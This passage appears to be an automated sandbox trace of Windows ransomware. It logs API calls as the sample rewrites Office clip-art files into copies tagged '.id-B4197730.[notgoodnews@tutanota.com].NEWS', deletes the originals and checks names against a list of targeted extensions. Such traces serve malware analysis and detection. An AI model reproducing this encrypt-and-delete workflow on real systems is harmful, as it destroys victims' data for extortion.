nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xb10, lpOverlapped=0x0) returned 1 [0161.190] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb20, lpOverlapped=0x0) returned 1 [0161.191] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.191] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.192] SetEndOfFile (hFile=0x484) returned 1 [0161.192] CloseHandle (hObject=0x484) returned 1 [0161.192] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.192] SetEndOfFile (hFile=0x454) returned 1 [0161.195] CloseHandle (hObject=0x454) returned 1 [0161.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.196] lstrlenW (lpString=".doc") returned 4 [0161.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.196] lstrlenW (lpString=".docx") returned 5 [0161.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.196] lstrlenW (lpString=".pdf") returned 4 [0161.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.196] lstrlenW (lpString=".xls") returned 4 [0161.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.196] lstrlenW (lpString=".xlsx") returned 5 [0161.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.196] lstrlenW (lpString=".ppt") returned 4 [0161.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.196] lstrlenW (lpString=".zip") returned 4 [0161.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.196] lstrlenW (lpString=".rar") returned 4 [0161.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString=".bz2") returned 4 [0161.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString=".7z") returned 3 [0161.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.197] lstrlenW (lpString=".dbf") returned 4 [0161.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.197] lstrlenW (lpString=".1cd") returned 4 [0161.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.197] lstrlenW (lpString=".jpg") returned 4 [0161.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.197] lstrlenW (lpString=".doc") returned 4 [0161.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString=".docx") returned 5 [0161.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.197] lstrlenW (lpString=".pdf") returned 4 [0161.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString=".xls") returned 4 [0161.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.197] lstrlenW (lpString=".xlsx") returned 5 [0161.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.197] lstrlenW (lpString=".ppt") returned 4 [0161.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.197] lstrlenW (lpString=".zip") returned 4 [0161.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.198] lstrlenW (lpString=".rar") returned 4 [0161.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.198] lstrlenW (lpString=".bz2") returned 4 [0161.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.198] lstrlenW (lpString=".7z") returned 3 [0161.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.198] lstrlenW (lpString=".dbf") returned 4 [0161.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.198] lstrlenW (lpString=".1cd") returned 4 [0161.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0161.198] lstrlenW (lpString=".jpg") returned 4 [0161.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.198] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.198] lstrlenW (lpString="HM00426_.WMF") returned 12 [0161.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.199] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=68776) returned 1 [0161.199] CloseHandle (hObject=0x454) returned 1 [0161.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0161.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.199] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.199] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0161.200] GetLastError () returned 0x0 [0161.200] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0161.204] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0161.631] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.631] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.650] SetEndOfFile (hFile=0x484) returned 1 [0161.650] CloseHandle (hObject=0x484) returned 1 [0161.650] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.650] SetEndOfFile (hFile=0x454) returned 1 [0161.656] CloseHandle (hObject=0x454) returned 1 [0161.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0161.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.657] lstrlenW (lpString=".doc") returned 4 [0161.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.657] lstrlenW (lpString=".docx") returned 5 [0161.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.658] lstrlenW (lpString=".pdf") returned 4 [0161.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString=".xls") returned 4 [0161.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.658] lstrlenW (lpString=".xlsx") returned 5 [0161.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.658] lstrlenW (lpString=".ppt") returned 4 [0161.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.658] lstrlenW (lpString=".zip") returned 4 [0161.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.658] lstrlenW (lpString=".rar") returned 4 [0161.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString=".bz2") returned 4 [0161.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString=".7z") returned 3 [0161.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.658] lstrlenW (lpString=".dbf") returned 4 [0161.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.658] lstrlenW (lpString=".1cd") returned 4 [0161.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.658] lstrlenW (lpString=".jpg") returned 4 [0161.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.658] lstrlenW (lpString=".doc") returned 4 [0161.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString=".docx") returned 5 [0161.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.659] lstrlenW (lpString=".pdf") returned 4 [0161.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString=".xls") returned 4 [0161.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.659] lstrlenW (lpString=".xlsx") returned 5 [0161.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.659] lstrlenW (lpString=".ppt") returned 4 [0161.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.659] lstrlenW (lpString=".zip") returned 4 [0161.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.659] lstrlenW (lpString=".rar") returned 4 [0161.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString=".bz2") returned 4 [0161.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString=".7z") returned 3 [0161.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.659] lstrlenW (lpString=".dbf") returned 4 [0161.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.659] lstrlenW (lpString=".1cd") returned 4 [0161.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0161.659] lstrlenW (lpString=".jpg") returned 4 [0161.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.660] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.660] lstrlenW (lpString="IN00346_.WMF") returned 12 [0161.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.661] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=696) returned 1 [0161.661] CloseHandle (hObject=0x454) returned 1 [0161.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0161.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.662] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.662] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0161.663] GetLastError () returned 0x0 [0161.663] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0161.664] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0161.666] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.666] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.666] SetEndOfFile (hFile=0x484) returned 1 [0161.666] CloseHandle (hObject=0x484) returned 1 [0161.666] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.666] SetEndOfFile (hFile=0x454) returned 1 [0161.674] CloseHandle (hObject=0x454) returned 1 [0161.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0161.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.675] lstrlenW (lpString=".doc") returned 4 [0161.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.675] lstrlenW (lpString=".docx") returned 5 [0161.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.675] lstrlenW (lpString=".pdf") returned 4 [0161.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.675] lstrlenW (lpString=".xls") returned 4 [0161.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.676] lstrlenW (lpString=".xlsx") returned 5 [0161.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.676] lstrlenW (lpString=".ppt") returned 4 [0161.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.676] lstrlenW (lpString=".zip") returned 4 [0161.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.676] lstrlenW (lpString=".rar") returned 4 [0161.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString=".bz2") returned 4 [0161.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString=".7z") returned 3 [0161.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.676] lstrlenW (lpString=".dbf") returned 4 [0161.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.676] lstrlenW (lpString=".1cd") returned 4 [0161.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.676] lstrlenW (lpString=".jpg") returned 4 [0161.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.676] lstrlenW (lpString=".doc") returned 4 [0161.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.676] lstrlenW (lpString=".docx") returned 5 [0161.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.677] lstrlenW (lpString=".pdf") returned 4 [0161.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.677] lstrlenW (lpString=".xls") returned 4 [0161.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.677] lstrlenW (lpString=".xlsx") returned 5 [0161.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.677] lstrlenW (lpString=".ppt") returned 4 [0161.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.677] lstrlenW (lpString=".zip") returned 4 [0161.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.677] lstrlenW (lpString=".rar") returned 4 [0161.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.677] lstrlenW (lpString=".bz2") returned 4 [0161.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.677] lstrlenW (lpString=".7z") returned 3 [0161.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.677] lstrlenW (lpString=".dbf") returned 4 [0161.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.677] lstrlenW (lpString=".1cd") returned 4 [0161.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0161.677] lstrlenW (lpString=".jpg") returned 4 [0161.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.678] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.678] lstrlenW (lpString="IN00351_.WMF") returned 12 [0161.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.678] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1928) returned 1 [0161.679] CloseHandle (hObject=0x454) returned 1 [0161.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0161.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.679] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.680] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0161.681] GetLastError () returned 0x0 [0161.681] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x788, lpOverlapped=0x0) returned 1 [0161.683] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: 